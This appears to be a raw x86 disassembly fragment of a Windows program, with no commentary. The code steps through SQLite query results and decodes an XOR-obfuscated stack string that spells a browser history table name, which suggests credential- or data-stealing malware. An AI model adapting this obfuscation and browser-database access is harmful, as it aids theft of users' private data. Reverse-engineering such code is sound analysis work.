push eax
lea ecx, [ebp - 0xb8]
call fcn.0046e710
mov byte [ebp - 4], 0x1a
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
mov dword [ebp - 0x114], edx
call fcn.00468450
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x190]
call fcn.00468100
lea ecx, [ebp - 0xb8]
push ecx
mov ecx, eax
call fcn.00467e20
lea ecx, [ebp - 0xb8]
call fcn.00468450
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x439c85
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439c7b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
je 0x439800
mov ebx, dword [ebp - 0xf4]
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
je 0x439421
test ebx, ebx
je 0x439d1e
mov esi, dword [ebx]
mov edi, dword [esi + 0x44]
test edi, edi
je 0x439cc2
push edi
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebp - 0xf4]
xor ebx, ebx
mov eax, dword [ecx + 0x50]
cmp eax, 0xbdf20da3
je 0x439cdb
cmp eax, 0x519c2973
jne 0x439ce8
call fcn.004a1dd0
mov ecx, dword [ebp - 0xf4]
mov ebx, eax
call fcn.004a1f80
test esi, esi
je 0x439d10
cmp byte [esi + 0x1e], 0
jne 0x439cff
cmp ebx, 0xc0a
jne 0x439d10
push 0
push 7
push esi
call fcn.00492380
add esp, 0xc
mov byte [esi + 0x1e], 0
test edi, edi
je 0x439d1e
push edi
call dword [0x534f68]
add esp, 4
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x128]
call fcn.00413f50
mov dword [ebp - 0x22], 0x99819a90
xor ecx, ecx
mov dword [ebp - 0x1e], 0x9f9b9694
mov dword [ebp - 0x1a], 0x8c9795a3
mov dword [ebp - 0x16], 0x7a706e74
mov word [ebp - 0x12], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x10
jb 0x439d50
mov ecx, dword [ebp - 0x154]
lea eax, [ebp - 0x22]
push eax
mov byte [ebp - 0x11], 0
call fcn.0046e710
lea ecx, [ebp - 0x190]
push ecx
mov ecx, eax
call fcn.00467e20
lea ecx, [ebp - 0x190]
call fcn.00468450
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x439dc7
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439dbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp ecx, 0x10
jb 0x439e20
mov edx, dword [ebp - 0x10c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439e16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x208]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp ecx, 0x10
jb 0x439e79
mov edx, dword [ebp - 0x21c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439e6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov esi, dword [ebp - 0x12c]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc esi
add esi, eax
mov dword [ebp - 0x12c], esi
cmp byte [esi], 0
jne 0x438ca0
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x439ed2
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439ec8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0x10
jb 0x439f23
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439f19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x439f53
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439f49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402270
call fcn.00402270
call fcn.004e47b0
call fcn.0046dc60
lea ecx, [ebp - 0x190]
call fcn.0046c340
push eax
lea ecx, [ebp - 0x274]
call fcn.00402980
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x28c]
call fcn.0046e530
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x25c]
call fcn.00407820
add esp, 4
lea eax, [ebp - 0x25c]
push 0x5316e0
push eax
call fcn.004e0efb
int3